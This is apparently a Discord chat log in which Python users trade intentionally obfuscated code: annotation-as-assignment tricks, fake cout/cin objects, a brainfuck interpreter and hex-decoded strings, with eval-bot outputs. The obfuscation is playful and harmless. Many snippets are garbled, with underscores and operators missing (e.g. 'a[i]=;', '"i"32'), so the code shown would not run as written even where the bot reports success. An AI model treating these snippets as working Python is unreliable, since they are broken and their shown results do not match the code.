'__repr__':lambda s:'','__str__':lambda s:input('__>')
'__invert__':lambda s:__import__('time').sleep(0.25),
'__pos__':lambda s:print('\x1b[s')or s,
'__neg__':lambda s:print('\x1b[u')or s,
'__lt__':print,
'__lshift__':lambda s,o:print(end=str(o))or s
})()
sometimes you just need that weird object that just does everything
class C:
def __setattr__(self, name, value):
globals()[name]=value
let = const = C()
let. x = 5
print(x)
!e ```py
for annotations in (globals(),):lt:print;
Main: type ("Main",(),{
**annotations
}
);
name=='main' and Main() < "Hello World!";
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
Hello World!
global x; x: int = 5
global stdout; stdout = open(1, 'w')
global number; number: int = __import__('random').randint(1, 5)
class Main:
def __init__(self) -> dict:{
(x == 5): stdout.write(str(x)),
(x <= 10): stdout.write("Yee yee"),
(number == 1 | number == 5):
stdout.write("Nice!")
}
Start = (self) = (True, False);
global y; y: int;
if (y := 12): {(lambda SubMain: stdout.write(str(SubMain)))(Main().Start)}
``` Ideas for making this unpythony?
making annotations and globals the same object
@floral meteor :x: Your eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 7, in <module>
003 | AttributeError: 'statement' object has no attribute 'm'
also im missing cout for some reason
I accidentally clipped cout instead of copying smh
this keyboard gets on my nerves sometimes
yes!
nope: it didn't print the numbers
no!
i'll fix that just a sec
!e ```py
for annotations in[globals()]:input:lambda*a:(lambda :print()or _)(import('random').randint(3,12).str())=builtins.input
int:type("statement",(builtins.int,),{
'setattr':lambda s,name, _set:globals().update({name:type(name,(),{
'call':lambda _:type("int",(builtins.int,),{'floordiv':lambda s,o:s})([this for this in _set if this][-1])
})()}),
'getattribute':lambda s,o:globals().update({
o:type("Int",(builtins.int,),dict(
named_as=lambda self, name:setattr(self,"name",name)or self
))(0).named_as(o)
})or s,
'call':lambda s,o:s.class.new(o)
})() = builtins.int;
cout:type('->',(),{'repr':lambda s:"\n","lshift":lambda s,o:print(o,end='')or s,'lt':print,'le':lambda s,o:print(end=o)or o,'rrshift':lambda s,o:s<<o,'floordiv':lambda s,o:s})()=import('sys').stdout
cin:type('<-',(),{'rshift':lambda s,o:globals().update({o.name:o.class(input()).named_as(o.name)})})()=import("sys").stdin
int. Main = (self) = {
int.m.n,
(cout << "Give number: ") // "prompt the user for the first number",
cin >> m,
(cout << "And another number: ") // "get the second number",
cin >> n,
cout << "Your numbers multiplied: ",
m*n
};
cout < Main() // "Print the result";
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
001 | Give number: 10
002 | And another number: 3
003 | Your numbers multiplied: 30
I'm just gonna leave it at that, its good enough despite being rather unstable
I had to make fake input, lol
!e ```py
for annotations in[type('type_hints',(),{
"setitem":lambda s,item,value:globals().update({item:value(globals()[item])})
})()]:
a:str = 4;
b:str = 5;
c:int = a+b;
Main:print=c//3;
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
15
Enforced type hints
where printing to stdout is treated as a type ;)
so what is (4+5)//3 ? is it 15?
9//3 is three
so why did it multiply the result by 5? XD
it's almost smart this way
!e ```py
for annotations in[type('type_hints',(),{
"setitem":lambda s,item,value:globals().update({item:value(globals()[item])})
})()]:
str:type = '';
int:type = 0;
Main:print=str,int;
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
(<class 'str'>, <class 'int'>)
!e ```py
for input in[lambda prompt:builtins.print(end=prompt)or(lambda c:builtins.print(c)or c)("++++++++++[>+++>+++++++>++++++++>++++++++++>+++++++++++<<<<<-]>>++.>>+.+++++++..>+.<<<<++.>>+++++++.>>.+++.<.--------.<<<+.!there is not input lol")]:print=lambda o:builtins.print(end=chr(o))
class type_hints:
def setitem(self, item, value):
if hasattr(value,'args'):
globals()[item] = value([value.args0for e in globals()[item]])
else:globals()[item]=value(globals()[item])
for annotations in[type_hints()]:
i:int ="0";
a:list[eval]="i"32;
p:eval ="i";
t:int =0.0;
c:input="brainfuck code: ";
while len(c)>p>=0:
if not t:
if c[p]=='+':
a[i]+=1;a[i]%=256;
if c[p]=='-':
a[i]-=1;a[i]%=256;
if c[p]=='<':
i:int =i-1;
if c[p]=='>':
i:int =1+i; # complex math lol
if c[p]=='.':
std:print=a[i];
if c[p]==',':
:ord =c[c.find('!')][a[i]];
a[i]=;
if c[p]=='[' and (not a[i] or t):
t:int =t+1;
if c[p]==']'and (a[i]or t):
t:int =t-1;
p:int =p+1-2(t<0);
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
001 | brainfuck code: ++++++++++[>+++>+++++++>++++++++>++++++++++>+++++++++++<<<<<-]>>++.>>+.+++++++..>+.<<<<++.>>+++++++.>>.+++.<.--------.<<<+.!there is not input lol
002 | Hello World!
how can I define a variable without using = ?
!e ```py
for annotations in[globals()]:...
a:4
b:3
print(a+b)
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
7
I was just playing around with enforced type hints earlier
the brainfuck interpreter even supports the classic input using !
Lmao
you could pretty much swap type hints with assignment
!e ```py
annotations = globals();
a: [0]*32 = list;
i: 0 = int;
print(a[i])
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
0
yw
global x; x: int = 5
global stdout; stdout = open(1, 'w')
__annotations__ = globals();
x: 5 = int
stdout: open(1, 'w')
These are the same?
ye
Thanks
__annotations__ = globals();
x: 5 = int;
stdout: open(1, 'w');
number: __import__('random').randint(1, 5) = int
class Main:
def __init__(self) -> dict:{
(x == 5) & stdout.write(str(x)),
(x <= 10) & stdout.write(__import__('codecs').decode(b'\x48\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x21')),
(number == 1 | number == 5) & stdout.write(__import__('codecs').decode(b"\x4e\x69\x63\x65\x21"))
}
Start = (self) = (True, False);
global y; y: int;
if (y := 12): {(lambda SubMain: stdout.write(str(SubMain)))(Main().Start)}
``` time to make this even worse :broken:
Oof
__annotations__ = globals();
x: 5 = int;
stdout: open(1, 'w');
number: __import__('random').randint(1, 5) = int
class Main:
def __init__(self) -> dict:{
(x == 5) & stdout.write(str(x)),
(x <= 10) & stdout.write(__import__('codecs').decode(b'\x48\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x21')),
(number == 1 | number == 5) & stdout.write(__import__('codecs').decode(b"\x4e\x69\x63\x65\x21"))
}
Start = (self) = (True, False);
y = int;
if (y := 12): {(lambda SubMain: stdout.write(str(SubMain)))(Main().Start)}
``` anymore ways of fucking this code?
I'm just trying to make it seem as unpythony as possible.
!e ```py
for annotations in[globals()]:years:36524 years=6060
calculate:lambda n:28n//10=lambda n:import('time').sleep(10000*years)
meaning: calculate(meaning)=(0x00for x in (life, the_universe and everything));
Main:print (Main)=meaning;
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
42
LMAO
just pretend i removed the lambda n: and it actually took 10000 years to calculate it
XD
Wholy shit

"hardest"